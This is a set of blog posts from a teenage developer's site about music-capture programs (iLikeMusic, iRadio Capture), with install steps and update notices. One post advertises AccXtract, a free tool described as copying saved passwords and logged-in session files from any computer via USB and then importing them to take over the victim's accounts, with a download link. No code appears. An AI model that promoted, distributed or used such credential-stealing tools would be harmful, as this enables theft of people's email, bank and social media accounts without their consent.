iLikeMusic Official Release

iLikeMusic was finally released a few days.  To put it simply: this program is amazing.  I have personally been using it all the time and I love it.  But I need to get some feedback and hear what it is that I can improve.  Also, tell me which sites I should add next.

For those that don't know, iLikeMusic is a free and open source program for saving songs from popular internet radio sites such as Pandora and Grooveshark, tagging them, and adding them to iTunes automatically.  While this program is currently Mac only, I do expect a Windows version to follow (eventually).  Check out the iLikeMusic page on my site for a full feature list and to download it now.

Codename iLikeMusic – What iRadio Capture Should Have Been From the Start

     It is no secret that iRadio Capture never quite worked the way that I had intended.  Everything I tried was too unreliable: sometimes it would work extremely well, and the next day it would refuse to work at all.  Also, I never liked having it in two different pieces; that increased its unreliability and made it more complicated for my users, neither of which I was happy about.  I looked at all of this and realized that my current method was never going to work the way I wanted.  So I took a step back to look at everything again.  That is when inspiration came and slapped me across the face, hard.  Thus, iLikeMusic was born.

     I have been working on iLikeMusic for the past few days, and am proud to say that it is nearly ready for its maiden voyage, at least for Mac.  I have not started the Windows version, but I expect it to follow the Mac version relatively quickly.  As it stands right now, iLikeMusic is a standalone player that basically does everything iRadio Capture did, except better.  Being that it stands entirely by itself, that also means that I can add many other features not possible under the iRadio Capture schema.  This means:

• No more worrying about updating your browser, because it doesn't use one
• No more messing with the iRadio Art Grabber extension
• No more filling your download list with hundreds of picture files that aren't there
• It can theoretically work for ANY website, including the previously elusive Grooveshark
• It can use custom proxy settings if you are outside the US, so you do not slow down the rest of your browsing
• It can detect incompletely loaded songs (a problem with iRadio Capture 2.0)
• It can use the Mac's media keys to control playback
• Much more!

Expect to see the first version of iLikeMusic to hit A Programmer's Crucible some time in the near future, so check back often!

AccXtract Released! Hack every Chrome and Firefox account in a few clicks!

AccXtract, my latest project to be added to A Programmer's Crucible, is targeted towards those under the impression that their accounts are currently under some semblance of safety.  Any time you press that "Save Password" button, or tick the "Remember Me" checkbox on a website, that information is stored locally on your computer.  Sure some of it is encrypted, but how secure does that really make it?  In short: not very.  AccXtract's aim is to prove how ridiculously easy it is to gain access to every single account that you forgot to log out of, and every single password that you have saved.  Yes, this includes Facebook, emails, bank, and literally every other account that keeps you logged in or you saved a password for.

AccXtract consists of two separate executables, the first of which being Grabber.exe.  Intended to be kept on a USB or other portable device, Grabber, by simply double-clicking, will copy all of the files required to gain access to every logged in account and get all of the passwords stored on whatever machine it is being run on.  So you just plug it in, double click, and you instantly have everything you need!

You may be wondering: after I get all of this information, what do I do with it?  That is where AccXtract.exe comes in.  Bringing the USB back to your computer and loading up the AccXtract folder on it, AccXtract.exe will show you all of the information from every single computer that you have captured.  Then, you simply click the information you want, and AccXtract will automatically put those files in place on your computer, granting you immediate access to every account and password that person was logged in to!

It's as simple as that!  Just a few clicks and everything they have is hacked!  The next question: how much does something like this cost?  The answer:  AccXtract is COMPLETELY FREE, and even open source!

Why not download it now? You never know when you might need it!

Get it here:
https://sites.google.com/site/aprogrammerscrucible/projects/accxtract

iRC 2.0 Windows update: MUCH more stable/reliable

I promised a new, more stable, more reliable version of iRadio Capture 2.0 for Windows this weekend.  Sorry if I am a little ahead of schedule.  This version contains MANY minor fixes/improvements in the song detecting process.  It now works much more like the Mac version of iRadio Capture 2.0, for those who have used that.  If you haven't, I can say that you will likely enjoy this version much and pull your hair out much less after updating.

A common bug that was reported to me with previous version is that iRadio Capture 2.0 was capturing the first song and then stopping.  No more!  Random crashes?  Fixed!  Several other minor issues?  Vanished!  I highly recommend this update for anyone who had issues with the previous version.

How do you update?  Download, extract, run, done!

Get it here:
https://sites.google.com/site/aprogrammerscrucible/downloads

Back in school, development and support may be slowed (but not stopping!)

Today was my first day back at high school, the beginning of my senior year.  I am taking a somewhat lighter course-load this year in comparison to last, so don't expect to see too much change in the development speed.  This is just heads-up in case I take longer to respond to emails or roll out bug fixes/new features.  For those who don't know, I almost always respond to emails within 24 hours.  Now with the unpredictability of my school workload, that may become more like 24-48 hours.  However, if I take more than 2 days to respond, feel free to shoot me another email, as I may have missed the first one.

So what am I working on right now/in the near future?

• While writing iRC 2.0 for Mac, I came up with several optimizations for back end of the Windows version, should be implemented soon
• Currently working: several stability/reliability fixes for Windows version, plus a more dynamic feedback system like in the Mac version
• Expect a new version for Windows coming this weekend

A Programmer's Crucible is back online!

After recently having some issues with my account, I have since resolved all of them.  All of my websites, including A Programmer's Crucible are now back online and appear to be functioning as normal.  The temporary download links will be removed as the original ones are now back in service.  I apologize for the down time and do not expect it to happen again.

iRadio Capture Install Instructions

While the site is down, it was the brought to my attention that there is no access to the installation instructions.  Therefore, this post is intended to supplement them until I can get the site back up.

Windows:

1. Upgrade to the Google Chrome dev channel here.  Even if you already have Chrome installed, you still need to do this.
2. Download and install iRadio Capture 2.0 from the temporary link here.
3. If you haven't already, download and install WinPcap here.
4. Go the iRadio Art Grabber 2.0 page here and select "Add to Chrome"
5. Open iRadio Capture 2.0 and press the Start button
6. Navigate to Last.fm or Pandora.com and click the iRadio Art Grabber 2.0 icon in the top right of the screen.  It should turn brown to confirm that it is on.
7. Listen to your music and enjoy!

Mac:

1. Upgrade to the Google Chrome dev channel here.  Even if you already have Chrome installed, you still need to do this.
2. Download and unzip iRadio Capture 2.0 Mac from the temporary link here.
3. Go the iRadio Art Grabber 2.0 page here and select "Add to Chrome"
4. Open iRadio Capture 2.0 and press the Start button
5. Navigate to Last.fm or Pandora.com and click the iRadio Art Grabber 2.0 icon in the top right of the screen.  It should turn brown to confirm that it is on.
6. Listen to your music and enjoy!